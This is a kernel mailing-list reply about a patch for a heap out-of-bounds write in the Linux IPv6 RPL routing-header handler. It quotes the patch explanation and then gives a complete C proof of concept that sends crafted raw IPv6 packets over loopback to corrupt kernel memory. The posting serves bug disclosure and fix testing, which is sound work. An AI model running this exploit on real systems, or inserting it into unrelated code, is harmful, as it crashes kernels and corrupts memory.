Re: [PATCH net v2] ipv6: rpl: reserve mac_len headroom when recompressed SRH grows

Greg Kroah-Hartman
2026-04-21T12:38:13Z

On Tue, Apr 21, 2026 at 02:32:59PM +0200, Greg Kroah-Hartman wrote:
> ipv6_rpl_srh_rcv() decompresses an RFC 6554 Source Routing Header, swaps
> the next segment into ipv6_hdr->daddr, recompresses, then pulls the old
> header and pushes the new one plus the IPv6 header back. The
> recompressed header can be larger than the received one when the swap
> reduces the common-prefix length the segments share with daddr (CmprI=0,
> CmprE>0, seg[0][0] != daddr[0] gives the maximum +8 bytes).
>
> pskb_expand_head() was gated on segments_left == 0, so on earlier
> segments the push consumed unchecked headroom. Once skb_push() leaves
> fewer than skb->mac_len bytes in front of data,
> skb_mac_header_rebuild()'s call to:
>
> skb_set_mac_header(skb, -skb->mac_len);
>
> will store (data - head) - mac_len into the u16 mac_header field, which
> wraps to ~65530, and the following memmove() writes mac_len bytes ~64KiB
> past skb->head.
>
> A single AF_INET6/SOCK_RAW/IPV6_HDRINCL packet over lo with a two
> segment type-3 SRH (CmprI=0, CmprE=15) reaches headroom 8 after one
> pass; KASAN reports a 14-byte OOB write in ipv6_rthdr_rcv.
>
> Fix this by expanding the head whenever the remaining room is less than
> the push size plus mac_len, and request that much extra so the rebuilt
> MAC header fits afterwards.
>
> Fixes: 8610c7c6e3bd ("net: ipv6: add support for rpl sr exthdr")
> Cc: "David S. Miller" <davem@davemloft.net>
> Cc: David Ahern <dsahern@kernel.org>
> Cc: Eric Dumazet <edumazet@google.com>
> Cc: Jakub Kicinski <kuba@kernel.org>
> Cc: Paolo Abeni <pabeni@redhat.com>
> Cc: Simon Horman <horms@kernel.org>
> Cc: stable <stable@kernel.org>
> Reported-by: Anthropic
> Assisted-by: gkh_clanker_t1000
> Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
> ---
> v2: - fixed up if statement to actually work properly, and test it against
> a working poc (poc will be sent separately)

Poc is here, requires root to run so it's just a normal bug.

------------------

// SPDX-License-Identifier: GPL-2.0
/*
* PoC for ANT-2026-03771: slab-out-of-bounds write of size 14 in
* net/ipv6/exthdrs.c:ipv6_rpl_srh_rcv().
*
* Mechanism
* ---------
* ipv6_rpl_srh_rcv() decompresses an RFC 6554 RPL Source Routing
* Header, swaps daddr <-> segment[i], recompresses, then:
*
* skb_pull(skb, (hdr->hdrlen+1)<<3); // old SRH len
* if (!hdr->segments_left) // ONLY on last seg
* pskb_expand_head(...);
* skb_push(skb, (chdr->hdrlen+1)<<3 + 40); // new SRH + ip6hdr
* skb_reset_network_header(skb);
* skb_mac_header_rebuild(skb);
*
* If the recompressed header (chdr) is larger than the received one
* (hdr) and segments_left > 0, the push consumes headroom that nothing
* checked. When the post-push headroom drops below skb->mac_len (14),
* skb_mac_header_rebuild()'s
*
* skb_set_mac_header(skb, -skb->mac_len);
*
* computes (data - head) + (u16)(-14) and stores it in the u16
* mac_header field, then memmove()s 14 bytes to skb->head + 65522..65535.
*
* Triggering growth on the first iteration
* ----------------------------------------
* Send cmpri=0 cmpre=15 with two segments and daddr = c0de::1:
* seg[0] (16 bytes, cmpri=0): 4141:...:4141 (anything with byte0 != 0xc0)
* seg[1] (1 byte, cmpre=15): 0x01 -> decompressed = c0de::1
*
* After the swap (i=0) the new daddr is 4141::4141 and the segment list
* is [c0de::1, c0de::1]. Recompression against 4141::4141 yields
* cmpri'=0 (4141.. vs c0de..) and cmpre'=0 (4141.. vs c0de..), so the
* last segment now needs 16 bytes instead of 1. hdrlen goes from 3 to
* 4: the SRH grows by 8 bytes.
*
* Headroom on entry to the SRH handler via lo:
* rawv6_send_hdrinc: skb_reserve(LL_RESERVED_SPACE(lo)) = 16
* neigh_connected_output: skb_push(14) -> headroom = 2
* loopback_xmit: eth_type_trans pull(14) -> headroom = 16
* ip6_protocol_deliver_rcu: pskb_pull(40) -> headroom = 56
* ipv6_rpl_srh_rcv: pull(32) push(40+40) -> headroom = 8
*
* 8 < 14, so mac_header wraps. skb data buffer is a ~512-byte slab
* object; head + 65530 is far past it.
*
* Build with CONFIG_KASAN to get a clean splat; without KASAN the
* 14-byte write lands in unrelated heap memory and the failure mode
* is less deterministic (often skb_under_panic on a later iteration).
*
* Usage
* -----
* Run as root. The PoC configures the local address and sysctls
* itself so an init=/poc initramfs is sufficient.
*/

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <arpa/inet.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <netinet/in.h>
#include <netinet/ip6.h>
#include <linux/if.h>
#include <linux/in6.h>
#include <linux/ipv6.h>
#include <sys/mount.h>
#include <sys/stat.h>
#include <sys/reboot.h>

#define LOCAL_ADDR "c0de::1"

static void die(const char *msg)
{
perror(msg);
exit(1);
}

static int write_file(const char *path, const char *val)
{
int fd = open(path, O_WRONLY);
if (fd < 0)
return -1;
if (write(fd, val, strlen(val)) < 0) {
close(fd);
return -1;
}
close(fd);
return 0;
}

static void bring_up_lo(void)
{
int fd;
struct ifreq ifr = { .ifr_name = "lo" };

fd = socket(AF_INET, SOCK_DGRAM, 0);
if (fd < 0)
die("socket AF_INET");
if (ioctl(fd, SIOCGIFFLAGS, &ifr) < 0)
die("SIOCGIFFLAGS lo");
ifr.ifr_flags |= IFF_UP | IFF_RUNNING;
if (ioctl(fd, SIOCSIFFLAGS, &ifr) < 0)
die("SIOCSIFFLAGS lo");
close(fd);
}

static void add_local_addr(void)
{
struct in6_ifreq ifr6;
struct ifreq ifr = { .ifr_name = "lo" };
int fd;

fd = socket(AF_INET6, SOCK_DGRAM, 0);
if (fd < 0)
die("socket AF_INET6");

if (ioctl(fd, SIOCGIFINDEX, &ifr) < 0)
die("SIOCGIFINDEX lo");

memset(&ifr6, 0, sizeof(ifr6));
inet_pton(AF_INET6, LOCAL_ADDR, &ifr6.ifr6_addr);
ifr6.ifr6_prefixlen = 128;
ifr6.ifr6_ifindex = ifr.ifr_ifindex;

if (ioctl(fd, SIOCSIFADDR, &ifr6) < 0 && errno != EEXIST)
die("SIOCSIFADDR " LOCAL_ADDR);
close(fd);
}

/*
* RFC 6554 SRH wire layout (network byte order):
* +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
* | Next Header | Hdr Ext Len | Routing Type=3| Segments Left |
* +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
* | CmprI | CmprE | Pad | Reserved |
* +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
* | Addresses[1..n] ...
*/
static size_t build_packet(unsigned char *buf, size_t buflen, size_t pad)
{
struct ip6_hdr *ip6 = (struct ip6_hdr *)buf;
unsigned char *srh = buf + sizeof(*ip6);
const size_t srh_len = 32; /* (hdrlen 3 + 1) * 8 */
const size_t total = sizeof(*ip6) + srh_len + pad;

if (buflen < total)
die("buffer too small");
memset(buf, 0, total);

/* IPv6 header */
ip6->ip6_flow = htonl(6u << 28);
ip6->ip6_plen = htons(srh_len + pad);
ip6->ip6_nxt = 43; /* Routing Header */
ip6->ip6_hops = 64;
inet_pton(AF_INET6, "::1", &ip6->ip6_src);
inet_pton(AF_INET6, LOCAL_ADDR, &ip6->ip6_dst);

/* RPL SRH fixed part */
srh[0] = 59; /* No Next Header */
srh[1] = 3; /* hdrlen: (3+1)*8 = 32 */
srh[2] = 3; /* IPV6_SRCRT_TYPE_3 (RPL) */
srh[3] = 2; /* segments_left = n+1 = 2 */
srh[4] = (0 << 4) | 15; /* CmprI=0, CmprE=15 */
srh[5] = (7 << 4) | 0; /* Pad=7, Reserved=0 */
srh[6] = 0;
srh[7] = 0;

/*
* seg[0]: full 16 bytes (cmpri=0). byte[0] != 0xc0 so that
* after the swap the new daddr shares no prefix with the
* remaining segments and cmpre' collapses from 15 to 0.
*/
memset(&srh[8], 0x41, 16);

/*
* seg[1]: 1 byte (cmpre=15). Decompressed = daddr[0..14] || 0x01
* = c0de::1, which is local so the loop check passes.
*/
srh[24] = 0x01;

/* srh[25..31] already zero: 7 bytes of pad */

return total;
}

int main(void)
{
static unsigned char pkt[65536];
struct sockaddr_in6 dst = { .sin6_family = AF_INET6 };
int fd, on = 1;
size_t len;

if (getpid() == 1) {
mkdir("/proc", 0555);
mount("proc", "/proc", "proc", 0, NULL);
mkdir("/sys", 0555);
mount("sysfs", "/sys", "sysfs", 0, NULL);
}

bring_up_lo();
add_local_addr();

if (write_file("/proc/sys/net/ipv6/conf/all/rpl_seg_enabled", "1") < 0)
fprintf(stderr, "warning: cannot enable rpl_seg_enabled (all)\n");
if (write_file("/proc/sys/net/ipv6/conf/lo/rpl_seg_enabled", "1") < 0)
fprintf(stderr, "warning: cannot enable rpl_seg_enabled (lo)\n");

/* let DAD settle so c0de::1 is usable */
sleep(2);

fd = socket(AF_INET6, SOCK_RAW, IPPROTO_RAW);
if (fd < 0)
die("socket(AF_INET6, SOCK_RAW, IPPROTO_RAW)");
if (setsockopt(fd, IPPROTO_IPV6, IPV6_HDRINCL, &on, sizeof(on)) < 0)
die("setsockopt IPV6_HDRINCL");

inet_pton(AF_INET6, LOCAL_ADDR, &dst.sin6_addr);

printf("[*] sending IPv6+RPL-SRH packets to %s\n", LOCAL_ADDR);
printf("[*] cmpri=0 cmpre=15 n=1: chdr grows by 8 -> headroom 8 -> mac_header wraps\n");
fflush(stdout);

/*
* The 14-byte write lands at skb->head + ~65530. Whether KASAN
* sees it depends on what that page holds. Sweep packet sizes so
* the data buffer cycles through every kmalloc bucket and the
* page allocator; one of the resulting head values will sit 64KiB
* below a poisoned page.
*/
for (size_t pad = 0; pad <= 32768; pad = pad ? pad * 2 : 64) {
for (int i = 0; i < 64; i++) {
len = build_packet(pkt, sizeof(pkt), pad + i);
if (sendto(fd, pkt, len, 0,
(struct sockaddr *)&dst, sizeof(dst)) < 0)
die("sendto");
}
}

/* softirq processing happens asynchronously */
sleep(1);

printf("[!] kernel survived — fix is applied or KASAN is off\n");

if (getpid() == 1) {
sync();
reboot(RB_POWER_OFF);
pause();
}
return 0;
}